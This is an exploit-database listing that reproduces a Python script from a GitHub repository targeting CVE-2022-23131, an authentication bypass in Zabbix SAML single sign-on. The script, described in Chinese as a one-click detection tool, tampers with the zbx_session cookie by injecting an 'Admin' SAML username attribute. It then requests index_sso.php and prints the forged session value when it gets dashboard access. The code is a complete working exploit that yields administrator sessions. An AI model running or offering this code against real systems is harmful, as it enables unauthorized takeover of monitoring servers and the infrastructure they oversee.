Exploit databaseDownload repository ZIP
GH-df31645c7f031a001af1368a0a616c92
kazaf6s/cve-2022-23131
Sources for CVE-2022-23131
23 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
kazaf6s/cve-2022-23131Revision aedf90733516
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2022-23131.py
Python · 1,876 bytesimport requests
import base64
from urllib.parse import quote,unquote
import time
headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0"
}
def CVE_info():
print("""
______ _______ ____ ___ ____ ____ ____ _____ _ _____ __
/ ___\ \ / / ____| |___ \ / _ \___ \|___ \ |___ \|___ // |___ / / |
| | \ \ / /| _| _____ __) | | | |__) | __) |____ __) | |_ \| | |_ \ | |
| |___ \ V / | |__|_____/ __/| |_| / __/ / __/_____/ __/ ___) | |___) | |
\____| \_/ |_____| |_____|\___/_____|_____| |_____|____/|_|____/| _|
一键检测工具
""")
print("""
usage method:
Enter URL: for example http://127.0.0.1
""")
def get_url():
input_url=input('')
requests.packages.urllib3.disable_warnings()
reponse_get=requests.get(input_url,verify=False,headers=headers,timeout=10)
cookie=reponse_get.cookies["zbx_session"]
decode_cookie=base64.b64decode(unquote(cookie))
str_cookie=str(decode_cookie,'utf-8')
new_cookie="""{"saml_data":{"username_attribute":"Admin"},"""+str_cookie[1:]
b_newcookie=base64.b64encode(new_cookie.encode('utf-8'))
n_newcookie=str(b_newcookie,'utf-8')
new_headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
"Cookie":"zbx_session="+n_newcookie
}
requests.packages.urllib3.disable_warnings()
new_url=requests.get(input_url+"index_sso.php",verify=False,headers=new_headers,timeout=10)
if "action=dashboard.view" in new_url.text:
print("生成的zbx_session值为:{}".format(n_newcookie))
print('存在漏洞!登录成功')
else:
print('不存在漏洞')
def main():
CVE_info()
get_url()
main()